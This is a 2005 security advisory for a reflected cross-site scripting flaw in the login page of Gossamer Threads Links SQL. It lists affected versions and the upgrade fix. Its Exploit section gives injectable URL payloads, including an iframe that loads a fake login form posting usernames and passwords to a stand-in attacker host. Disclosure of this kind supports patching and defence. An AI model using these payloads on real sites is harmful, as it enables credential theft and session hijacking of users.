Gossamer Threads Links SQL login XSS Vulnerability
Gossamer Threads Links SQL login XSS Vulnerability
Class
Input Validation XSS
Remote Local Published / Updated
Yes Yes 04th May 2005
Vulnerable
Vulnerable: Gossamer Threads Links SQL v3.0
+ Links SQL 2.x
+ Links SQL 2.2.x
+ Links SQL 3.0
Not Vulnerable
-
Discussion
Links SQL is a perl/mod_perl/PHP web application written by Gossamer Threads
and is used to build any type of directory. Although designed to manage links,
Links SQL is very customisable and is used all over the Internet for a wide
range of tasks such as Image Galleries, Press Releases, Yellowpages, Company
Directories, and other categorised databases.
The URL variable in the Gossamer Threads Links SQL login page (user.cgi) is a
hidden field in the login form and can be passed directly to user.cgi in the
form of user.cgi?url="xyz"
The URL variable is client side input created by the browser when a user clicks
on a link which requires authentication.
After authentication the user is redirected to the URL in the URL variable.
This URL variable does not sufficiently validate the client side input and is
therefore vulnerable to script injection and cross site scripting (XSS)
attacks.
Exploit
This is a standard XSS vulnerability.
Note an attacker would normally obfuscate the linking code but for these
examples I have made it simple for the sake of understanding.
Simple Example 1 (Pop up)
/user.cgi?url="><script>alert("XSS
Vulnerability")</script><"&from=rate
Resulting in the following within the HTML being injected:
<input type="hidden" name="url" value=""><script>alert("XSS
Vulnerability")</script><"" />
Simple Example 2 (iframe to steal username and password)
/user.cgi?url="><iframe%20src="http://www.stationx.net/linksql.html"%20scrolling="No"%20align="MIDDLE"%20width="100%"%20height="3000"%20frameborder="No";></iframe><!--&from=rate
Example 2 produces an invisible iframe presenting a fake login screen to
collect usernames and passwords with the following HTML injected;
<form action="http://hacker.com/getusernameandpassword.cgi"; method="post">
The <script> content is limited by the imagination of the attacker and
the above are just two examples.
Like all XSS vulnerabilities this is a user attack only and not an attack on
the system (Links SQL). Although if the user happens to be the links sql
moderator/admin this user attack could be used to escalate privilege to then
attack links sql.
To exploit this XSS vulnerability the victim must be tricked into making the
above or other carefully crafted HTTP request. There are several ways users can
be tricked to do this but common methods include via a link in an HTML aware
email, a web based forum (Gossamer Threads forum) or embedded in a malicious
web page.
XSS attacks are often demonstrated harvesting cookies to perform session
hijacking and gather other sensitive information.
Solution
A new release has been created to fix this problem. Upgrade to Gossamer Links
3.0.1
http://www.gossamer-threads.com/forum/Gossamer_Links_3.0.1_Released_P280986/
http://gossamer-threads.com/perl/gforum/gforum.cgi?post=281029;
Credit
Nathan House @ StationX
References
http://www.stationx.net
http://www.stationx.net/advisories.php
http://www.gossamer-threads.com/scripts/links-sql/index.htm
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